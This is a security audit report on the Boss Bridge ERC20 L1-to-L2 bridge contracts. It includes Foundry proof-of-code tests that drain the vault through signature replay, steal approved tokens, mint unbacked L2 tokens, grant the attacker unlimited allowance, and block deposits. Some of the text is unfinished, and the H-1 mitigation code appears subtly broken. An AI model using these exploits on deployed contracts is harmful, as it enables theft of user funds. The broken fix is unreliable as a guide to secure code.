Boss Bridge Report

Version 1.0

September 16, 2024

Boss Bridge Audit Report

Jaxon Chen

09/17/2024

Lead Auditors: Jaxon Chen

Table of Contents

    * [H-4] `CREATE` opcode does not work on zksync era, breaking the functionailty of the contracts
    * [H-5] `L1BossBridge::sendToL1`allows arbitrary calls which enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-6] Global `DEPOSIT_LIMIT` in L1BossBridge allows for cheap DoS attack
  - Low
    * [L-1] PUSH0 is not supported by all chains
  - Informationals
    * [I-1] State variable could be declared constant
    * [I-2] Large literal values multiples of 10000 can be replaced with scientific notation
    * [I-3] **`public`** functions not used internally could be marked `external`

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

They plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

Author makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Issues found

Severity	Number of issues found
High	6
Medium	0
Low	1
Info	3
Total	10

Findings

High

[H-1] The signers' v r s used to call `L1BossBridge::withdrawTokensToL1` do not have any protection mechanism, so they can be reused by anyone, allowing attacker to unrestrictedly withdraw any amount to any address

Description: Once the signer calls `withdrawTokensToL1`, their v r s will leak on the chain and everyone can use them to call `withdrawTokensToL1` function with their wanted amount and address. **Impact:** The entire balance of the vault can be drained quickly through multiple transactions.
Proof of Concept:

Proof of Code

Place below code in the test file.

```
function testSignatureReplay() public {
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 50e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attacker,
        attackerInitialBalance);
    bytes memory message = abi.encode(
        address(token), 0, abi.encodeCall(IERC20.transferFrom, (address
            (vault), attacker, attackerInitialBalance))
```

```
13      );
14      (uint8 v, bytes32 r, bytes32 s) =
15          vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(
                keccak256(message)));
16      while (token.balanceOf(address(vault)) >= attackerInitialBalance) {
17          tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
                , v, r, s);
18      }
19      assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
            + vaultInitialBalance);
20      assertEq(token.balanceOf(address(vault)), 0);
21      }
```

Recommended Mitigation:

- Implement a Nonce System: Include a nonce in the signed message and track used nonces to prevent replay attacks.
- Time-based Expiry: Add a timestamp to the signed message and reject signatures older than a certain threshold.

```
1  function withdrawTokensToL1(
2      address to,
3      uint256 amount,
4      uint256 nonce,
5      uint256 deadline,
6      uint8 v,
7      bytes32 r,
8      bytes32 s
9  ) external {
10     require(block.timestamp <= deadline, "L1BossBridge: Expired
           deadline");
11     require(nonce == nonces[to], "L1BossBridge: Invalid nonce");
12
13     bytes32 message = keccak256(abi.encodePacked(
14         address(this),
15         to,
16         amount,
17         nonce,
18         deadline
19     ));
20
21     sendToL1(
22         v,
23         r,
24         s,
25         message,
26         abi.encode(
27             address(token),
28             0,
29             abi.encodeCall(IERC20.transferFrom, (address(vault), to,
```

```
                    amount))
30          )
31      );
32
33      nonces[to]++;
34  }
35
36  function sendToL1(
37      uint8 v,
38      bytes32 r,
39      bytes32 s,
40      bytes32 message,
41      bytes memory data
42  ) public nonReentrant whenNotPaused {
43      address signer = ECDSA.recover(MessageHashUtils.
            toEthSignedMessageHash(message), v, r, s);
44
45      if (!signers[signer]) {
46          revert L1BossBridge__Unauthorized();
47      }
48
49      (address target, uint256 value, bytes memory callData) = abi.decode
            (data, (address, uint256, bytes));
50
51      require(keccak256(abi.encodePacked(
52          address(this),
53          target,
54          abi.decode(callData, (address, uint256))[1],
55          getCurrentNonce(target),
56          block.timestamp
57      )) == message, "L1BossBridge: Invalid message");
58
59      (bool success,) = target.call{ value: value }(callData);
60      if (!success) {
61          revert L1BossBridge__CallFailed();
62      }
63  }
```

[H-2] In `L1BossBridge::depositTokensToL2`, arbitrary `from` is passed to `safeTransferFrom`, so anyone can transfer tokens from the `from` address if an approval is made.

Description: In the `depositTokensToL2` function of the L1BossBridge contract, the `from` address is passed as a parameter, allowing anyone to specify any address as the source of the tokens.

```
1       if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
2           revert L1BossBridge__DepositLimitReached();
3       }
4       token.safeTransferFrom(from, address(vault), amount);
```

Impact:

- Attackers can transfer tokens from any address that has approved the bridge, without the owner's consent.
- The L2 system will mint tokens for the wrong recipient, based on the attacker's transaction.

Proof of Concept:

1. Alice wants to deposit funds into the vault
2. She approved 1000 ethers to the vault
3. Before Alice calls the `depositTokensToL2` function, Bob instead calls it and pass Alice's address as `from` and his address as `to`
4. Event is emitted and listening node will confirm that Bob did the deposit instead of Alice and mint Bob L2 tokens.

Proof of Code

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Modify the function to always use `msg.sender` as the source of tokens:

```
function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.safeTransferFrom(from, address(vault), amount);
+   token.safeTransferFrom(msg.sender, address(vault), amount);

    emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-3] Maclicious attackers can call `L1BossBridge::depositTokensToL2` with `address(vault)` as `from` parameter and `to` as their address, which transfering from the vault to itself and infinitely minting L2 tokens to them

Description: The `depositTokensToL2` function allows an attacker to specify the vault's address as the from parameter, triggering the `Deposit` event without actually depositing any new tokens.

```
1      function depositTokensToL2(address from, address l2Recipient,
           uint256 amount) external whenNotPaused {
2          if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
3              revert L1BossBridge__DepositLimitReached();
4          }
5          token.safeTransferFrom(from, address(vault), amount);
6
7          // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
8          emit Deposit(from, l2Recipient, amount);
9      }
```

Impact: Attackers can trigger unlimited L2 token minting without providing any actual L1 tokens.

Proof of Concept:

1. Attacker calls `depositTokensToL2` to deposit from the vault into itself.
2. Event is emitted indicating that the attacker deposited successfully and L2 system mint tokens to them.
   proof of code

```
1      function testCanTransferFromVaultToItself() public {
2          address attacker = makeAddr("attacker");
3          uint256 vaultBalance = 500 ether;
4          deal(address(token), address(vault), vaultBalance);
5          vm.expectEmit(address(tokenBridge));
6          emit Deposit(address(vault), attacker, vaultBalance);
7          tokenBridge.depositTokensToL2(address(vault), attacker,
               vaultBalance);
8          vm.expectEmit(address(tokenBridge));
9          emit Deposit(address(vault), attacker, vaultBalance);
10         tokenBridge.depositTokensToL2(address(vault), attacker,
               vaultBalance);
11         vm.expectEmit(address(tokenBridge));
12         emit Deposit(address(vault), attacker, vaultBalance);
13         tokenBridge.depositTokensToL2(address(vault), attacker,
               vaultBalance);
14     }
```

Recommended Mitigation: Modify the function to always use `msg.sender` as the source of tokens:

```
function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
         revert L1BossBridge__DepositLimitReached();
     }
-    token.safeTransferFrom(from, address(vault), amount);
+    token.safeTransferFrom(msg.sender, address(vault), amount);

     emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-4] CREATE opcode does not work on zksync era, breaking the functionailty of the contracts

[H-5] `L1BossBridge::sendToL1`allows arbitrary calls which enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The L1BossBridge::sendToL1 function allows for arbitrary calls to any address with any data, as long as the call is passed with v r s from an authorized signer. Attacker can calls `depositTokensToL2` once and get the v r s then let `L1BossBridge` to call the vault to approve attacker with maximum allowance.

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public nonReentrant whenNotPaused {
        address signer = ECDSA.recover(MessageHashUtils.
            toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode
            (message, (address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

Impact: An attacker can drain all tokens stored in the L1Vault, completely compromising the bridge's security. **Proof of Concept:**

1. The attacker deposit 0 value to get the v r s of the signers
2. Attacker calls `sendToL1` and embeded `approveTo` call to give them maximum allowance for token.

3. Attacker steals all funds in the contract <
   Proof of Code

```
    function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);
        bytes memory message =
            abi.encode(address(vault), 0, abi.encodeCall(L1Vault.
               approveTo, (address(attacker), type(uint256).max)));
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
           operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(
           uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(
           address(vault)));
        assertEq(token.balanceOf(attacker), vaultInitialBalance);
    }
```

Recommended Mitigation:

- Modify `sendToL1` to only allow specific, pre-approved function calls necessary for the bridge's operation. This could be implemented using a whitelist of function selectors or by redesigning the withdrawal process entirely. how to do
- redesign the `withdraw` mechanism

[H-6] Global `DEPOSIT_LIMIT` in L1BossBridge allows for cheap DoS attack

Description: The `L1BossBridge::depositTokensToL2` function implements a global `DEPOSIT_LIMIT` check that can be exploited to permanently block all deposits to the bridge. The function checks if the current vault balance plus the deposit amount exceeds the `DEPOSIT_LIMIT`, but it doesn't account for the possibility of a malicious actor making a deposit that brings the total balance extremely close to this limit. **Impact:** An attacker can permanently disable the core functionality of the bridge (token deposits) with a relatively small deposit. **Proof of Concept:**

```
function testDepositLimitDoS() public {
    uint256 depositLimit = tokenBridge.DEPOSIT_LIMIT();
    uint256 initialDeposit = depositLimit - 1 ether;
    uint256 dosDeposit = 1 ether;
```

```
5       uint256 victimDeposit = 1 ether;
6
7       address attacker = makeAddr("attacker");
8       address victim = makeAddr("victim");
9
10      deal(address(token), attacker, initialDeposit + dosDeposit);
11      deal(address(token), victim, victimDeposit);
12
13      // Attacker makes a large deposit, nearly reaching the limit
14      vm.startPrank(attacker);
15      token.approve(address(tokenBridge), initialDeposit);
16      tokenBridge.depositTokensToL2(attacker, attacker, initialDeposit);
17      vm.stopPrank();
18
19      // Attacker makes a small deposit to reach the limit exactly
20      vm.startPrank(attacker);
21      token.approve(address(tokenBridge), dosDeposit);
22      tokenBridge.depositTokensToL2(attacker, attacker, dosDeposit);
23      vm.stopPrank();
24
25      // Victim tries to make a deposit, but it fails
26      vm.startPrank(victim);
27      token.approve(address(tokenBridge), victimDeposit);
28      vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
29      tokenBridge.depositTokensToL2(victim, victim, victimDeposit);
30      vm.stopPrank();
31
32      // Verify that the bridge is indeed at the deposit limit
33      assertEq(token.balanceOf(address(tokenBridge.vault())),
            depositLimit);
34  }
```

Recommended Mitigation:

1. Replace the global deposit limit with a per-user deposit limit. This prevents a single user from blocking the entire system.
2. Implement a dynamic deposit limit that adjusts based on withdrawals.
3. Add an administrative function to adjust the deposit limit if needed

Low

[L-1] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in

case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

Informationals

[I-1] State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
1     uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[I-2] Large literal values multiples of 10000 can be replaced with scientific notation

Use `e` notation, for example: `1e18`, instead of its full numeric value.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
1     uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol Line: 7

```
1     uint256 private constant INITIAL_SUPPLY = 1_000_000;
```

[I-3] `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
1     function deployToken(string memory symbol, bytes memory
         contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
1     function getTokenAddressFromSymbol(string memory symbol)
         public view returns (address addr) {
```